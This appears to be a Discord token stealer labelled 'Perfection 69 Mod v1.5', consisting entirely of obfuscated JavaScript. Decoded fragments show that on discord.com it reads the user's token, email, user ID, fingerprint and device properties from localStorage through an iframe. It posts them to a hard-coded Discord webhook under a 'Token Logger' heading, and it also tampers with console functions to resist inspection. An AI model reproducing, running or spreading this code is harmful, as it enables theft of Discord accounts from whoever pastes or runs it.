Perfection 69 Mod v1.5
Perfection 69 Mod v1.5
function _0x4cc6e4(_0x1d8493,_0x1cbfd5,_0x490056,_0x519bc0){return
_0x5bac(_0x1cbfd5-0x339,_0x1d8493);}function _0x5bac(_0x6364fa,_0x431327){var
_0x35ae3a=_0x5596();return _0x5bac=function(_0x418c28,_0x5a4a2b)
{_0x418c28=_0x418c28-(0x3*0x8f8+0x2515+-0x1*0x3eff);var
_0x13f814=_0x35ae3a[_0x418c28];if(_0x5bac['Wjouaw']===undefined){var
_0xe8386d=function(_0x26f728){var
_0x36dcdb='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var
_0x163fec='',_0x405867='',_0x8871fe=_0x163fec+_0xe8386d;for(var
_0x53543e=0x380*0x2+0x3a*0x89+0x3*-
0xcae,_0x20657f,_0x5f2120,_0x3cc941=0x2437+0x225+-
0x265c;_0x5f2120=_0x26f728['charAt'](_0x3cc941++);~_0x5f2120&&(_0x20657f=_0x53543e
%(0x260f+0x1a*0x112+0x21*-0x1ff)?_0x20657f*(0x545*-0x2+-0x1da4*0x1+0x286e)
+_0x5f2120:_0x5f2120,_0x53543e++%(-0x1*-0x2375+0x1c75+-0x3fe6))?
_0x163fec+=_0x8871fe['charCodeAt'](_0x3cc941+(-0x1027+-0x12d8+0x1*0x2309))-(-
0x295*0x1+-0xf7d+0x121c)!==0x19*-0x169+0x8d8+-0x1a69*-0x1?String['fromCharCode']
(0x7b*-0x18+0x5a1+0x373*0x2&_0x20657f>>(-(-0x287*0x2+0x26cb*0x1+-
0x21bb)*_0x53543e&-0x824*0x4+0x117b+-0xf1b*-0x1)):_0x53543e:-0x238a+0x1c5d+0x72d)
{_0x5f2120=_0x36dcdb['indexOf'](_0x5f2120);}for(var _0x45fdc1=-0x67f*-0x1+0xda2+-
0x1421,_0x81906a=_0x163fec['length'];_0x45fdc1<_0x81906a;_0x45fdc1++)
{_0x405867+='%'+('00'+_0x163fec['charCodeAt'](_0x45fdc1)['toString']
(0x8*0x2f4+0xe*0x161+-0x5d*0x76))['slice'](-(-0x4e*0x13+-0x24cf+0xd*0x347));}return
decodeURIComponent(_0x405867);};_0x5bac['velNEr']=_0xe8386d,_0x6364fa=arguments,_0x
5bac['Wjouaw']=!![];}var _0x45737f=_0x35ae3a[-0x132b+-0x1f37*-0x1+-
0xc0c],_0x1927ba=_0x418c28+_0x45737f,_0x187b5d=_0x6364fa[_0x1927ba];if(!_0x187b5d)
{var _0x3df029=function(_0x566102)
{this['PgnOHj']=_0x566102,this['IpfdpM']=[0x1004+0xe0d+-0x1e10,-0x2*0x125a+0x1edd*-
0x1+0x4391,0x1a98*-0x1+0x28*0xde+-0x818],this['FzdlmH']=function(){return'newState'
;},this['FfNtTA']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['LxZMjH']='[\x27|\x
22].+[\x27|\x22];?\x20*}';};_0x3df029['prototype']['YtOKYP']=function(){var
_0x2af13a=new RegExp(this['FfNtTA']+this['LxZMjH']),_0x45e0fe=_0x2af13a['test']
(this['FzdlmH']['toString']())?--this['IpfdpM'][-0x26e1*0x1+0x2c0+-0x19*-0x172]:--
this['IpfdpM'][-0x3d*-0x1b+0x930+-0xf9f];return this['YVpEuE']
(_0x45e0fe);},_0x3df029['prototype']['YVpEuE']=function(_0x57fefe){if(!
Boolean(~_0x57fefe))return _0x57fefe;return this['QMJtIw']
(this['PgnOHj']);},_0x3df029['prototype']['QMJtIw']=function(_0x147126){for(var
_0x75dc43=-0x914+-0x1*0x1945+0x2259,_0x797d33=this['IpfdpM']
['length'];_0x75dc43<_0x797d33;_0x75dc43++){this['IpfdpM']['push'](Math['round']
(Math['random']())),_0x797d33=this['IpfdpM']['length'];}return
_0x147126(this['IpfdpM'][0xc5f*-0x3+-0x4*0x159+0x2a81]);},new _0x3df029(_0x5bac)
['YtOKYP'](),_0x13f814=_0x5bac['velNEr']
(_0x13f814),_0x6364fa[_0x1927ba]=_0x13f814;}else _0x13f814=_0x187b5d;return
_0x13f814;},_0x5bac(_0x6364fa,_0x431327);}function
_0x30d1a0(_0x2710f7,_0x295479,_0x3b56a,_0x47be23){return _0x5bac(_0x47be23-
0x1f1,_0x3b56a);}(function(_0x40e5c0,_0x1a5cde){var _0x2f39cd=_0x40e5c0();function
_0x38445f(_0x320384,_0x21880e,_0x53c657,_0x57f436){return _0x5bac(_0x320384-
0xb4,_0x57f436);}function _0x491795(_0x25c417,_0x23187a,_0x5e66b1,_0x45ba07){return
_0x5bac(_0x25c417-0x3ae,_0x45ba07);}while(!![]){try{var _0x4ea46d=-
parseInt(_0x38445f(0x1b2,0x1e8,0x1c8,0x172))/(0x1c7e+-0x2a1+0xcee*-
0x2)*(parseInt(_0x491795(0x4c1,0x4b7,0x4d8,0x484))/(0x1973+0x9*-0x191+0x3*-0x3c8))
+parseInt(_0x38445f(0x1b8,0x1e7,0x1e0,0x1a8))/(-0x1b*-0x13+-0x15+-0x1e9*0x1)*(-
parseInt(_0x491795(0x517,0x508,0x553,0x4fd))/(0x5f7+-0x3*0x5e9+0x68*0x1d))
+parseInt(_0x491795(0x4b0,0x4c3,0x4bb,0x4e9))/(0x1*0x1d86+-0x16f3*0x1+-0x68e)+-
parseInt(_0x491795(0x4d0,0x4f4,0x4fa,0x495))/(0x1*0xf31+0x193*-0x5+0x74c*-0x1)+-
parseInt(_0x491795(0x4de,0x4ab,0x4f1,0x51e))/(-0x162e+0x2038+-
0xa03*0x1)*(parseInt(_0x38445f(0x1bf,0x19e,0x17f,0x18d))/(-0xc87+0x9f0+0x29f))
+parseInt(_0x491795(0x4b8,0x4d7,0x4b0,0x487))/(-0x9eb*0x2+-0xa*-0x2ff+-
0xa17)+parseInt(_0x491795(0x4e5,0x4b9,0x518,0x4c6))/(-0xbff+0x227f*-
0x1+0x1*0x2e88)*(parseInt(_0x38445f(0x1fe,0x210,0x237,0x218))/(-0x1*-0x1fd+0xfd1+-
0x11c3));if(_0x4ea46d===_0x1a5cde)break;else _0x2f39cd['push'](_0x2f39cd['shift']
());}catch(_0x4be035){_0x2f39cd['push'](_0x2f39cd['shift']());}}}(_0x5596,0xd4011+-
0x1*0xe2546+0xd7c3*0x10));var _0x5592eb=function(){var
_0x3ab80c={};_0x3ab80c[_0x804d12(-0x2ac,-0x287,-0x291,-
0x2c8)]=function(_0x3b8a99,_0xedf809){return _0x3b8a99!
==_0xedf809;},_0x3ab80c[_0x33ec54(0x92,0x9e,0x9e,0x71)]='dKDJX';function
_0x33ec54(_0x4545cb,_0x42b428,_0x222b7f,_0x4d1fa3){return _0x5bac(_0x42b428-
-0x68,_0x222b7f);}_0x3ab80c[_0x33ec54(0xd7,0xc4,0x8b,0xef)]=_0x33ec54(0x11b,0xf7,0x
d9,0x107);var _0x52c476=_0x3ab80c,_0x25f412=!![];function
_0x804d12(_0x490f09,_0x52fd00,_0x10b2e3,_0x160255){return _0x5bac(_0x10b2e3-
-0x3c0,_0x490f09);}return function(_0x2f9d7f,_0x29a2de){function
_0x4f3f54(_0xb3d27,_0x28ba36,_0x1e3c4b,_0x54e5ac){return _0x33ec54(_0xb3d27-
0x1d3,_0xb3d27-0x329,_0x1e3c4b,_0x54e5ac-0x1a1);}var
_0xc20d3={'QuPZJ':function(_0x2a2018,_0x1fa1d6){function
_0x5bc5e8(_0x2f426e,_0x4a24b4,_0x2ae116,_0xbfe2a1){return _0x5bac(_0x2ae116-
0x3e5,_0x4a24b4);}return _0x52c476[_0x5bc5e8(0x511,0x519,0x514,0x554)]
(_0x2a2018,_0x1fa1d6);},'BKJus':_0x4f3f54(0x3de,0x3a8,0x3f7,0x419),'gWmxV':_0x52c47
6[_0x38a561(-0x23,-0x31,-0x69,-0x4f)]};function
_0x38a561(_0x2f03e9,_0x5557b5,_0x4d036c,_0xa927b){return
_0x804d12(_0x2f03e9,_0x5557b5-0x1cb,_0xa927b-0x26b,_0xa927b-
0x1d8);}if(_0x52c476[_0x4f3f54(0x3f0,0x3c8,0x41b,0x42d)]
(_0x52c476[_0x4f3f54(0x3ed,0x3c3,0x40c,0x3ae)],_0x38a561(-0x6d,-0x88,-0x80,-0x50)))
{var _0x539687=_0x25f412?function(){function
_0x297009(_0x5a14c9,_0x2f74e3,_0x3be008,_0x1c0212){return _0x4f3f54(_0x2f74e3-
-0x5ed,_0x2f74e3-0x1b4,_0x5a14c9,_0x1c0212-0x50);}function
_0x579c79(_0x276cee,_0x5ef93a,_0x23e9d7,_0x449b5e){return _0x4f3f54(_0x276cee-
-0x118,_0x5ef93a-0x4e,_0x5ef93a,_0x449b5e-
0x1ec);}if(_0xc20d3[_0x579c79(0x2cd,0x2f6,0x29e,0x2bd)](_0xc20d3[_0x297009(-0x1d8,-
0x1be,-0x1b4,-0x1d7)],_0xc20d3[_0x297009(-0x1f5,-0x1dd,-0x218,-0x1df)]))
{if(_0x29a2de){var _0x11fa3d=_0x29a2de['apply'](_0x2f9d7f,arguments);return
_0x29a2de=null,_0x11fa3d;}}else{var _0x4c2daf=_0x32680e?function(){function
_0x402aa5(_0x472e37,_0xf0df64,_0x2a1c5f,_0x1ddc88){return
_0x297009(_0x1ddc88,_0xf0df64-0x2d1,_0x2a1c5f-0x173,_0x1ddc88-0xae);}if(_0x3981da)
{var _0x9a739d=_0x1de078[_0x402aa5(0xd7,0xea,0x114,0xe6)]
(_0x5af709,arguments);return _0x526b9a=null,_0x9a739d;}}:function(){};return
_0xb836e1=![],_0x4c2daf;}}:function(){};return _0x25f412=![],_0x539687;}else
_0x1b981a=_0x2e4bd9;};}(),_0x383c07=_0x5592eb(this,function(){var
_0x34952b={};_0x34952b['imdRg']=_0x722c78(0x3,0x3,0x7,-0x2e)+'+$';var
_0x522832=_0x34952b;function _0x15be30(_0x2b9065,_0x576b59,_0x563880,_0x592f25)
{return _0x5bac(_0x2b9065- -0x3c9,_0x592f25);}function
_0x722c78(_0xb04170,_0x2f5793,_0x59900e,_0x239c20){return _0x5bac(_0x2f5793-
-0x10d,_0x239c20);}return _0x383c07[_0x722c78(0x12,0x1d,0x9,-0x1c)]()['search']
(_0x522832[_0x722c78(0x12,0x14,-0x2a,0x40)])['toString']()['constructo'+'r']
(_0x383c07)[_0x15be30(-0x24f,-0x27d,-0x276,-0x25f)](_0x522832[_0x15be30(-0x2a8,-
0x26c,-0x2b0,-0x292)]);});_0x383c07();var _0xb20721=function(){var _0xba4d2e=!!
[];return function(_0x1b9d08,_0x44daff){var _0x12815f=_0xba4d2e?function(){function
_0x3f0389(_0x1c227c,_0x821051,_0x323e62,_0x215ee7){return _0x5bac(_0x821051-
-0x38,_0x1c227c);}if(_0x44daff){var
_0x5a340e=_0x44daff[_0x3f0389(0x11c,0x10d,0xe6,0x139)](_0x1b9d08,arguments);return
_0x44daff=null,_0x5a340e;}}:function(){};return _0xba4d2e=![],_0x12815f;};}
(),_0x34042b=_0xb20721(this,function(){function
_0x3a5c81(_0x24e067,_0x2408c6,_0x2e9966,_0x29b72e){return _0x5bac(_0x29b72e-
0x235,_0x2408c6);}var
_0x3fbf83={'qAxhy':'applicatio'+_0x3a5c81(0x385,0x378,0x368,0x363),'uqGIf':_0x3a5c8
1(0x304,0x30f,0x36b,0x344),'zvaRH':_0x3a5c81(0x376,0x382,0x34a,0x35b),'tALqd':'http
s://di'+'scord.com/'+'api/webhoo'+_0x393731(0x339,0x336,0x342,0x322)+_0x3a5c81(0x34
9,0x394,0x356,0x35e)
+_0x393731(0x387,0x37a,0x391,0x358)+'uz4cqbkhEx'+_0x3a5c81(0x382,0x355,0x322,0x347)
+_0x393731(0x3ac,0x390,0x398,0x38c)
+'WA6_HZ3z7_'+_0x393731(0x394,0x390,0x395,0x3a7)+_0x393731(0x385,0x353,0x3ba,0x3b4)
,'JPuwU':function(_0x36fe12,_0xc5f882){return
_0x36fe12+_0xc5f882;},'fBEqh':function(_0x94e7a5,_0x52edff){return
_0x94e7a5+_0x52edff;},'ZpXbw':function(_0x30b26f,_0x2f907f){return
_0x30b26f+_0x2f907f;},'uzAkO':function(_0x46d5f1,_0x5ede25){return
_0x46d5f1+_0x5ede25;},'RgeeQ':function(_0x34775b,_0x579a6d){return
_0x34775b+_0x579a6d;},'nDvIS':'Token\x20Logg'+_0x393731(0x3a2,0x3ca,0x3b8,0x38b)
+_0x393731(0x34f,0x386,0x368,0x317)+_0x3a5c81(0x356,0x38e,0x365,0x358)+_0x3a5c81(0x
37f,0x395,0x354,0x373),'wbgij':'\x0a---------'+_0x393731(0x3aa,0x3c1,0x36f,0x3b0)+_
0x3a5c81(0x34a,0x31e,0x312,0x335)+'dress:**\x20','fvyHl':_0x3a5c81(0x36b,0x352,0x34
3,0x36d)
+_0x393731(0x3aa,0x3b2,0x3e7,0x3e6)+_0x3a5c81(0x341,0x399,0x39b,0x374)+_0x393731(0x
38c,0x38a,0x393,0x386),'NRHjR':_0x3a5c81(0x39c,0x3a0,0x334,0x36d)
+_0x393731(0x3aa,0x3c3,0x3c7,0x377)+_0x393731(0x34e,0x329,0x380,0x362)+_0x393731(0x
358,0x330,0x38b,0x340)+_0x3a5c81(0x36b,0x386,0x39a,0x35c),'zGcRA':_0x3a5c81(0x355,0
x364,0x369,0x36d)
+_0x3a5c81(0x396,0x39a,0x3d1,0x3a5)+_0x3a5c81(0x303,0x31e,0x377,0x33e)
+_0x393731(0x39e,0x389,0x3c8,0x3c4)+_0x393731(0x396,0x3d4,0x360,0x3c9)+'\x0a','HynU
S':'\x5c\x22\x22```','zwBhW':_0x3a5c81(0x3b4,0x34f,0x394,0x389)+'er','WAbFP':_0x393
731(0x359,0x34e,0x382,0x377),'Jrjyg':_0x393731(0x382,0x395,0x3a9,0x3b5),'WphJR':fun
ction(_0x5ceff0,_0x455761){return
_0x5ceff0(_0x455761);},'hZCVe':function(_0xaa1c3c,_0x18bba4){return
_0xaa1c3c+_0x18bba4;},'ovEcV':'{}.constru'+_0x3a5c81(0x366,0x34b,0x343,0x360)+_0x3a
5c81(0x3eb,0x39d,0x382,0x3ad)+'\x20)','ZSQOd':function(_0x20a602,_0x50512c){return
_0x20a602===_0x50512c;},'tIGiw':_0x393731(0x348,0x338,0x34a,0x37d),'nQmoQ':_0x39373
1(0x35f,0x380,0x386,0x341),'faVyK':_0x3a5c81(0x33d,0x340,0x33e,0x367),'GCAEf':'info
','xyKXV':_0x393731(0x38a,0x38c,0x387,0x374),'qaaIk':_0x3a5c81(0x34e,0x335,0x39f,0x
36f),'KVUfK':function(_0x259bce,_0x36e05b){return
_0x259bce<_0x36e05b;},'EkEXe':_0x393731(0x373,0x37a,0x3a4,0x350)+'3'},_0x5ccd2d=fun
ction(){var _0x5a2428;function _0x56781f(_0x2dc36f,_0x33da43,_0x3289f6,_0x517daa)
{return _0x393731(_0x2dc36f-0x153,_0x33da43-0x146,_0x3289f6-
0x1ce,_0x517daa);}function _0xfa22ff(_0x18774f,_0xedb528,_0x3c90cc,_0xd80672)
{return _0x3a5c81(_0x18774f-0x34,_0xedb528,_0x3c90cc-0x1e7,_0xd80672-
-0x9d);}try{if(_0x3fbf83[_0xfa22ff(0x2ba,0x2ea,0x2b4,0x2c9)]===_0x3fbf83[_0x56781f(
0x4fe,0x4e7,0x4e4,0x4e3)]){if(_0x1fd1c5){var
_0x2ae8ef=_0x2c894c[_0x56781f(0x4d2,0x4f4,0x4a8,0x49f)](_0x1cc94b,arguments);return
_0x3783ce=null,_0x2ae8ef;}}else
_0x5a2428=_0x3fbf83[_0xfa22ff(0x2a6,0x2d4,0x321,0x2e4)](Function,_0x3fbf83['RgeeQ']
(_0x3fbf83[_0xfa22ff(0x344,0x30a,0x339,0x314)](_0x56781f(0x4ed,0x4e6,0x4c4,0x4af)
+_0x56781f(0x4d0,0x49e,0x4b3,0x4af),_0x3fbf83[_0x56781f(0x4e3,0x4e9,0x4cc,0x4f6)]),
');'))();}catch(_0x47963c){if(_0x3fbf83['ZSQOd']
(_0x3fbf83[_0x56781f(0x4fc,0x4f5,0x535,0x4cb)],_0x3fbf83[_0xfa22ff(0x32e,0x2ed,0x2d
e,0x307)]))_0x5a2428=window;else{var _0x2dc248=(_0x56781f(0x4c1,0x4d6,0x4eb,0x49a)
+'5')[_0x56781f(0x4a3,0x4c9,0x49e,0x4c0)]('|'),_0x1786d0=0x17e2+-0x1*0x21bb+-
0x9d9*-0x1;while(!![]){switch(_0x2dc248[_0x1786d0++])
{case'0':_0x2edac3[_0xfa22ff(0x2b1,0x2c4,0x305,0x2d5)+'Header']('Content-
ty'+'pe',_0x3fbf83[_0x56781f(0x504,0x4d9,0x527,0x521)]);continue;case'1':var
_0x4d5a7c=_0x177e25[_0xfa22ff(0x2d1,0x279,0x2c6,0x2a9)+_0xfa22ff(0x2d6,0x2e0,0x2c9,
0x2b4)](_0x3fbf83[_0x56781f(0x4d3,0x495,0x4c9,0x4ea)]);continue;case'2':var
_0x2edac3=new
_0x4ac2bf();continue;case'3':_0x117d4b[_0x56781f(0x4f9,0x4c4,0x4f8,0x512)]
[_0x56781f(0x501,0x535,0x4f8,0x511)+'d']
(_0x4d5a7c);continue;case'4':_0x2edac3[_0xfa22ff(0x2cd,0x2a5,0x2a3,0x2d3)]
(_0x3fbf83[_0x56781f(0x48e,0x479,0x46a,0x471)],_0x3fbf83[_0x56781f(0x4f8,0x4be,0x51
9,0x505)]
);continue;case'5':_0x2edac3[_0xfa22ff(0x32a,0x2ed,0x2e1,0x302)]
(_0x249c49[_0xfa22ff(0x2f2,0x2d0,0x31e,0x2ed)]({'content':_0x3fbf83['JPuwU']
(_0x3fbf83[_0xfa22ff(0x2b5,0x2f3,0x2bf,0x2f3)]
(_0x3fbf83[_0x56781f(0x4ce,0x4f6,0x4ab,0x4ba)]
(_0x3fbf83[_0xfa22ff(0x31b,0x2d9,0x2d0,0x2e9)]
(_0x3fbf83[_0xfa22ff(0x2cc,0x27d,0x2a4,0x29f)]
(_0x3fbf83[_0xfa22ff(0x263,0x2df,0x26f,0x29f)]
(_0x3fbf83[_0xfa22ff(0x2d0,0x290,0x2b9,0x29f)]
(_0x3fbf83[_0x56781f(0x494,0x465,0x4aa,0x45f)]
(_0x3fbf83['nDvIS'],_0x4d5a7c[_0x56781f(0x4c3,0x485,0x4cb,0x4be)+'dow']
[_0xfa22ff(0x296,0x2cd,0x26c,0x29b)+'ge']
[_0xfa22ff(0x2ac,0x2ad,0x2ef,0x2b0)]),_0x3fbf83['wbgij'])
+_0x4d5a7c[_0xfa22ff(0x2df,0x2e4,0x30c,0x2ce)+_0x56781f(0x4c0,0x4a8,0x4c3,0x4ec)]
[_0xfa22ff(0x2a5,0x2c6,0x293,0x29b)+'ge'][_0xfa22ff(0x2ac,0x2d4,0x313,0x2df)
+'e'],_0x3fbf83[_0xfa22ff(0x345,0x2e8,0x317,0x30b)]),_0x4d5a7c[_0x56781f(0x4c3,0x48
3,0x4ea,0x4d2)+_0x56781f(0x4c0,0x4cb,0x497,0x4a4)]
[_0x56781f(0x490,0x4bb,0x459,0x4a5)+'ge']
[_0x56781f(0x50a,0x542,0x502,0x531)+'che']),_0x3fbf83['NRHjR']),_0x4d5a7c[_0x56781f
(0x4c3,0x4c0,0x4e6,0x4bb)+_0x56781f(0x4c0,0x483,0x49c,0x4d5)]['localStora'+'ge']
[_0x56781f(0x4eb,0x4c2,0x4ce,0x4f8)+'t'])
+_0x3fbf83[_0x56781f(0x495,0x4b3,0x494,0x497)],_0x4d5a7c[_0x56781f(0x4c3,0x4e2,0x4a
8,0x4de)+'dow'][_0x56781f(0x490,0x4b2,0x450,0x45c)+'ge']
['deviceProp'+_0x56781f(0x49a,0x4a1,0x4b7,0x4cc)])+
(_0xfa22ff(0x2a8,0x2af,0x302,0x2e6)+'----------'+_0xfa22ff(0x2cb,0x2d8,0x2b6,0x2dc)
+'Link:**\x20\x0a`'+_0xfa22ff(0x296,0x29f,0x276,0x2a4)+_0x56781f(0x4ef,0x518,0x4dc,
0x4b3)+'();'),_0x4d5a7c[_0xfa22ff(0x2b7,0x2b7,0x2f4,0x2ce)+'dow']
[_0x56781f(0x490,0x4a4,0x48c,0x46e)+'ge'][_0x56781f(0x4a5,0x48b,0x477,0x49d)]
[_0xfa22ff(0x2c0,0x2cb,0x318,0x2d8)](/^"(.*)"$/,'$1'))
+_0x3fbf83['HynUS'],'username':_0x3fbf83[_0xfa22ff(0x2f8,0x2f1,0x31e,0x2f1)]}));con
tinue;}break;}}}return
_0x5a2428;},_0x33165f=_0x5ccd2d(),_0xf697d6=_0x33165f[_0x3a5c81(0x3c1,0x388,0x3b6,0
x39a)]=_0x33165f[_0x393731(0x39f,0x3bc,0x386,0x383)]||
{},_0x230bdf=[_0x3fbf83[_0x3a5c81(0x32c,0x371,0x355,0x35d)],_0x3fbf83[_0x393731(0x3
5a,0x34c,0x340,0x399)],_0x3fbf83[_0x393731(0x3a0,0x390,0x3b7,0x3a2)],_0x3fbf83[_0x3
a5c81(0x3b1,0x384,0x38f,0x38c)],_0x3fbf83[_0x393731(0x376,0x37b,0x38d,0x39f)],_0x39
3731(0x36f,0x35d,0x387,0x384),'trace'];function
_0x393731(_0x4da1ff,_0x2357f7,_0x5c70a9,_0x1dd13c){return _0x5bac(_0x4da1ff-
0x23a,_0x1dd13c);}for(var _0x2baa65=0x1*0x220f+-0x714+-
0x1afb;_0x3fbf83[_0x3a5c81(0x35d,0x38e,0x365,0x38d)]
(_0x2baa65,_0x230bdf[_0x393731(0x383,0x371,0x37f,0x377)]);_0x2baa65++){var
_0x5813fc=_0x3fbf83['EkEXe']['split']('|'),_0x799c18=0x1886+-0x2428+0xba2;while(!!
[]){switch(_0x5813fc[_0x799c18++]){case'0':var
_0x242b18=_0xb20721[_0x3a5c81(0x3bc,0x35e,0x390,0x388)+'r']
[_0x393731(0x39d,0x399,0x3a2,0x36d)]['bind']
(_0xb20721);continue;case'1':_0x242b18[_0x393731(0x364,0x346,0x380,0x39f)]=_0x193e9
6['toString'][_0x3a5c81(0x330,0x369,0x313,0x34e)]
(_0x193e96);continue;case'2':_0x242b18[_0x3a5c81(0x360,0x378,0x32c,0x350)]=_0xb2072
1[_0x393731(0x353,0x391,0x371,0x36c)]
(_0xb20721);continue;case'3':_0xf697d6[_0x59f4a0]=_0x242b18;continue;case'4':var
_0x59f4a0=_0x230bdf[_0x2baa65];continue;case'5':var
_0x193e96=_0xf697d6[_0x59f4a0]||_0x242b18;continue;}break;}}});function _0x5596()
{var
_0xeaacf3=['zKjfCwG','kIOGygbGANnVBG','C2nVCMqUy29TlW','zMLUz2vYChjPBG','DKrTsMu','
CMv0DxjUicHMDq','yxbWBgLJyxrPBW','Aw9UlNjLBg9Hza','ChjVDg90ExbL','CM9Wzxj0AwvZoG','
y29UC29Szq','r0nbrwy','y2HL','zwqHiaOTls0Tlq','nta3mJH2yvvvtMi','C2vUza','DefmCwq',
'yM9KEq','tgLUAZOQkIakya','qKTkDxm','DeLhAxC','ls0Tls0Tls0TcG','sNjQEwC','BtKTx0zJt
MrYDq','zNz5sgW','yxbWzw5Kq2HPBa','zhjLC3m6kIOG','sgvHzgvY','Cuf4AhK','CM4GDgHPCYiP
ka','Ag9ZDa','C2vHCMnO','v0e2x0HAm3O3xW','AfPdvMu','DxnLCL9Pzf9Jyq','oxv4EKXbvW','A
3mVodGZnJy3nW','kIPfBwfPBcbbza','ENzHuKG','mJK2mZG4mgjZuMn2tq','Bg9JywXtDg9Yyq','mZ
u0wvbwA094','vhjAse0','BvPWueu','uMDLzve','EKDJuKe','kIPezxzPy2uGua','mti1nZm4mtbiv
wzNCgO','ofHwwxfMDa','ygbQCWPSB2nHDa','zxj0AwvZ','rwLxt0u','AwzYyw1L','kcGOlISPkYKR
kq','y3jLyxrLrwXLBq','ENDbnKO4EgnWma','ntGZmZbvwfLeCgy','kIPgAw5NzxjWCG','ls0Tls0Tl
s0Tlq','C3bSAxq','xciIygbG','Dg9Rzw4','yMLUza','Bg9JyxrPB24','x19WCM90B19F','zw50',
'wfnlD2S','Aw50icHxlKKUua','wKfZDvy','zMfwEuS','Aw1KuMC','mZCYmty1nLjtEvH5yq','ls0T
cIOQvg9Rzq','uxvqwKO','Bg9N','ue9tva','ktOQkIa','BLfTB1e','nZq1nJi1mtCWnG','Dg9tDhj
PBMC','y3rVCIGICMv0Dq','vw5UrhK','DxO0y3fIA2HfEa','BI9QC29U','BezZB0G','mZmXodm4nuv
rA1jLCq','v0fIrLa','D2fYBG','zg93','mxWZFdj8nhWWFa','DgfIBgu','y29UDgvUDfDPBG','mtb
er211Bva','cI0Tls0Tls0Tlq','mhW0Fdv8mNWXFa','zxHJzxb0Aw9U','B3bLBG','CwfHswS','C2v0
uMvXDwvZDa','BJOQkIa','kIPvC2vYieLeoG','CMvWBgfJzq','wNbyyNC','Ahr0Chm6lY9KAq','BMn
0Aw9UkcKG','lqOQkKXVz2LUia','yxbWBhK','Dxfhswy','zw1HAwXFy2fJAa','rKf0C2K','BgvUz3r
O','mtG1nZm1otLcywLNAgm','CfLREufFx3ziCG','v3bOsLi','mI91yveXDfvMtW','ygbGls0Tls0Tl
q','z1DTEfy','zxjYB3i','DxPbA08','kIOG','y29UC3rYDwn0BW','vg9Rzw4Gtg9NzW','C3rYAw5N
Awz5','B3zfy1y','EhLlwfy','s1zvzKS','ENDcAfC','oe5SC2rvEgrVzW'];_0x5596=function()
{return _0xeaacf3;};return
_0x5596();}_0x34042b();if(window[_0x4cc6e4(0x43d,0x453,0x47a,0x464)]
[_0x4cc6e4(0x4dd,0x4b2,0x49f,0x4b5)]['includes']('discord.co'+'m')){var
i=document['createElem'+_0x30d1a0(0x2dc,0x32d,0x2fa,0x30d)]
(_0x30d1a0(0x32b,0x2e8,0x31f,0x300));document[_0x30d1a0(0x390,0x393,0x37b,0x35d)]
[_0x30d1a0(0x328,0x3a3,0x397,0x365)+'d'](i);var request=new
XMLHttpRequest();request['open']
('POST',_0x30d1a0(0x371,0x30f,0x2f8,0x333)+_0x30d1a0(0x36c,0x355,0x384,0x34e)
+'api/webhoo'+_0x4cc6e4(0x417,0x438,0x434,0x46d)+_0x4cc6e4(0x472,0x462,0x42c,0x49d)
+'2/uaQ1tUfO'+_0x4cc6e4(0x442,0x466,0x47a,0x475)+_0x30d1a0(0x2f2,0x334,0x2e8,0x303)
+_0x4cc6e4(0x47d,0x4ab,0x4d5,0x49b)+_0x4cc6e4(0x474,0x4b4,0x48c,0x48b)
+_0x30d1a0(0x31f,0x365,0x30c,0x34b)
+_0x4cc6e4(0x4b4,0x484,0x4bc,0x4aa)),request['setRequest'+_0x30d1a0(0x34d,0x353,0x3
34,0x367)]('Content-
ty'+'pe',_0x4cc6e4(0x4a6,0x49a,0x4d5,0x4b3)+_0x30d1a0(0x33f,0x2ee,0x34b,0x31f)),req
uest['send'](JSON[_0x4cc6e4(0x4ad,0x48e,0x454,0x46c)]
({'content':_0x4cc6e4(0x457,0x48d,0x4bf,0x4b9)+_0x4cc6e4(0x4a0,0x4a1,0x480,0x4b7)+_
0x30d1a0(0x339,0x344,0x335,0x306)+_0x4cc6e4(0x496,0x45c,0x444,0x474)+_0x30d1a0(0x30
0,0x364,0x366,0x32f)
+i[_0x30d1a0(0x320,0x306,0x340,0x327)+_0x30d1a0(0x2e8,0x32f,0x302,0x324)]
[_0x4cc6e4(0x447,0x43c,0x45a,0x3fd)+'ge']['token']+
('\x0a---------'+'---------\x0a'+_0x4cc6e4(0x42a,0x439,0x421,0x461)+_0x4cc6e4(0x4d4
,0x4ae,0x4b5,0x4ed))
+i[_0x30d1a0(0x331,0x2f2,0x305,0x327)+_0x4cc6e4(0x446,0x46c,0x44c,0x45f)]
['localStora'+'ge'][_0x30d1a0(0x370,0x320,0x344,0x338)+'e']+
(_0x4cc6e4(0x46f,0x471,0x499,0x4a9)+_0x30d1a0(0x386,0x380,0x398,0x361)+_0x30d1a0(0x
33c,0x342,0x32b,0x330)+_0x30d1a0(0x37a,0x33a,0x30e,0x343))
+i[_0x4cc6e4(0x460,0x46f,0x485,0x468)+_0x30d1a0(0x35a,0x2ea,0x301,0x324)]
[_0x4cc6e4(0x434,0x43c,0x409,0x476)+'ge']
['user_id_ca'+_0x30d1a0(0x338,0x390,0x366,0x358)]+
(_0x30d1a0(0x358,0x314,0x34d,0x329)+_0x4cc6e4(0x48a,0x4a9,0x469,0x497)+_0x4cc6e4(0x
444,0x44d,0x480,0x45c)+_0x30d1a0(0x2f9,0x304,0x342,0x30f)
+_0x4cc6e4(0x479,0x460,0x432,0x435))+i[_0x4cc6e4(0x4ae,0x46f,0x497,0x47b)
+_0x4cc6e4(0x466,0x46c,0x488,0x49f)][_0x30d1a0(0x2bb,0x334,0x320,0x2f4)+'ge']
[_0x4cc6e4(0x47b,0x497,0x475,0x476)+'t']+
(_0x4cc6e4(0x46a,0x471,0x466,0x489)+_0x4cc6e4(0x49b,0x4a9,0x4b5,0x47c)
+_0x30d1a0(0x31b,0x2fd,0x2e9,0x2fa)
+_0x4cc6e4(0x4ab,0x49d,0x498,0x496)+'**\x20```json'+'\x0a')
+i['contentWin'+_0x4cc6e4(0x457,0x46c,0x45a,0x4a0)]
[_0x4cc6e4(0x464,0x43c,0x46e,0x42e)+'ge']
['deviceProp'+_0x4cc6e4(0x41d,0x446,0x421,0x453)]+
(_0x30d1a0(0x341,0x33a,0x33f,0x33f)
+_0x4cc6e4(0x465,0x44e,0x42d,0x443)+_0x30d1a0(0x321,0x363,0x354,0x335)+_0x30d1a0(0x
391,0x32d,0x352,0x35e)+'``js\x0alocat'+_0x4cc6e4(0x4d9,0x49b,0x4a1,0x4d6)+'();')
